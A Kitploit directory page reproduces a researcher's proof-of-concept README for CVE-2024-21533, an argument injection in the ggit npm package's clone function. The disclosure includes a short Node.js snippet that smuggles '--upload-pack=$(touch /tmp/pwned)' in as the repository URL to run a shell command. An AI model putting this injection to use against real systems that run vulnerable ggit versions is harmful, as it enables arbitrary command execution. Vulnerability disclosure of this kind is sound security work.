Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21533-PoC-ggit — CVE-2024-21533 PoC ggit | Kitploit
Tools/GitHubGitHub/lirantal/cve-2024-21533-poc-ggit
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationSupply Chain Security
GitHublirantal/cve-2024-21533-poc-ggit

CVE-2024-21533-PoC-ggit

CVE-2024-21533 PoC ggit

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21533 Argument Injection vulnerability in ggit

ggit describes itself as:

root@kitploit:~
Local promise-returning git command wrappers

Resources:

  • Project's GitHub source code: https://github.com/bahmutov/ggit
  • Project's npm package: https://www.npmjs.com/package/ggit

Article write-up on this argument injection vulnerability: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

Background on exploitation

I'm reporting an Argument Injection vulnerability in ggit npm package.

This vulnerability manifests with the library's clone() API, which allows specifying the remote URL to clone and the file on disk to clone to. However, the library does not sanitize for user input or validate a given URL scheme, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.

Thus, allowing users to exploit an argument injection vulnerability in Git due to the --upload-pack command-line option that results with executing arbirary commands. (outPath) to clone it to then the vulnerability applies.

Exploit

  1. Install [email protected] or earlier
  2. Establish the following POC:
root@kitploit:~
const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});
  1. Observe new file created on disk at /tmp/pwned

Contributing

Please consult CONTRIBUTING for guidelines on contributing to this project.

Author

Liran Tal

Download Tool